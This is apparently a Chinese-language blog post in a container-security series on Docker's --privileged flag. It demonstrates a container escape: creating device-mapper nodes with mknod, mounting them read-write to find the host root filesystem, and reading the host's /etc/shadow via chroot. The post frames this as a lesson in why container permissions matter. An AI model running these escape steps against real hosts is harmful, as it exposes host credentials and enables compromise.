在 Day 12,我們提到一般容器中的 root 受到 capabilities 等機制限制,因此無法執行部分特權操作。
但在 Docker 的世界裡面可以透過一個參數讓容器擁有更高的權限,進而危及整台宿主機的安全。連 Docker 官方文件都明確警告這個參數的危險性,今天就來講講 Day 16 的主角:特權容器(Privileged Container)。
--privileged Docker 的雙面刃參數--privileged 這個參數可以做到什麼事情呢?先來看一下 Docker 的官方是怎麼介紹這個參數的?
資料來源:Escalate container privileges
這段內容最大的重點就是告訴我們「啟用 --privileged 之後,容器幾乎可以執行宿主機能夠執行的所有操作」。
回想一下,Docker 建立容器時如果 Image 未設定其他使用者,且啟動時未透過 --user 覆寫,容器內的程序預設以 root 身分執行。,那麼使用者預設是 root。如果再加 --privileged,就會大幅放寬 capabilities、裝置存取與安全設定,所以 Docker 在下方特別標出警告提醒使用者慎用這個參數:
接著透過實作,看看使用 --privileged 建立的容器會帶來哪些風險。
首先,使用以下指令比較一般容器、特權容器與宿主機 root 程序的 capability sets:
grep Cap /proc/self/status
這個指令會顯示目前 grep 程序的 Linux capability sets,讓我們觀察它具有哪些能力:

輸出的五個欄位分別代表不同的 capability 集合,其中 CapEff 表示目前實際生效的能力。有興趣的夥伴們可以去看 Linux 的官方文件:
proc_pid_status(5) — Linux manual page
可以發現特權容器與宿主機 root 程序呈現相同的 capability sets,顯示容器取得了廣泛的核心操作能力。接著透過掛載實驗,驗證這些能力可能造成的影響。
進入容器後,可以使用以下指令檢查 capabilities 與 seccomp 狀態:
grep Cap /proc/self/status
grep -i seccomp /proc/self/status

這邊補充一下,seccomp 是 Linux 核心的一種安全機制,用來依規則限制程序可以使用哪些系統呼叫(system calls)。這裡的 Seccomp: 0 表示該程序未啟用 seccomp 過濾。
接著使用 ls /dev 列出目前環境中 /dev 目錄的內容,查看有哪些裝置存取入口。
為了找出可能對應宿主機磁碟或 LVM 邏輯卷的裝置,可使用以下指令查看區塊裝置資訊:
cat /proc/partitions

這裡可以留意名稱以 dm- 開頭的區塊裝置,它們是 Device Mapper 建立的映射裝置,可能對應 LVM 邏輯卷。因此,看到 dm-* 時,可以把它當成進一步蒐集宿主機儲存配置資訊的線索,再確認各裝置的用途,以及是否包含宿主機的根檔案系統。
關於 LVM 裝置與 /dev/dm-N 的對應關係,可以參考 Red Hat 官方文件:Device Mapper Support for the udev Device Manager。
如果 /proc/partitions 已列出相關裝置,但容器的 /dev 中缺少對應節點,可在具備必要權限時,依 major/minor 編號建立裝置入口:
while read maj min blk name; do
case "$name" in dm-*) mknod "/dev/$name" b "$maj" "$min" 2>/dev/null ;; esac
done < <(awk 'NR>2' /proc/partitions)
接著用 ls -l /dev/dm-* 確認裝置節點是否存在:
最後逐一檢查候選裝置,以是否包含 /etc/shadow 作為辨識宿主機根檔案系統的初步線索:
mkdir -p /mnt/host
for d in /dev/dm-*; do
if mount -o rw "$d" /mnt/host 2>/dev/null; then
if [ -e /mnt/host/etc/shadow ]; then echo ">>> host root = $d"; break
else umount /mnt/host; fi
fi
done

確認掛載的是宿主機根檔案系統後,可以進一步檢查是否能讀取 /etc/shadow。成功讀取代表容器已能存取宿主機的敏感檔案;若同時具備寫入權限,且相關服務設定允許,還可能進一步影響 SSH 登入或 cron 排程。
chroot /mnt/host head -n 3 /etc/shadow

以上就是今天的主題。回想當初學習的過程,除了體會到 --privileged 授予的權限有多廣,我也進一步理解了 LVM 與 Device Mapper 的關係。當時因為不熟悉 LVM 邏輯卷與 dm-* 裝置的對應方式,一度不知道該從哪裡著手。
對我來說今天真的是收穫滿滿的一天,也希望透過今天的主題告訴大家容器的權限管制非常重要,不論是 CI/CD 環境,還是微服務架構,只要容器權限配置不當,就可能成為攻擊宿主機的入口。
感謝大家的收看,我們明天見!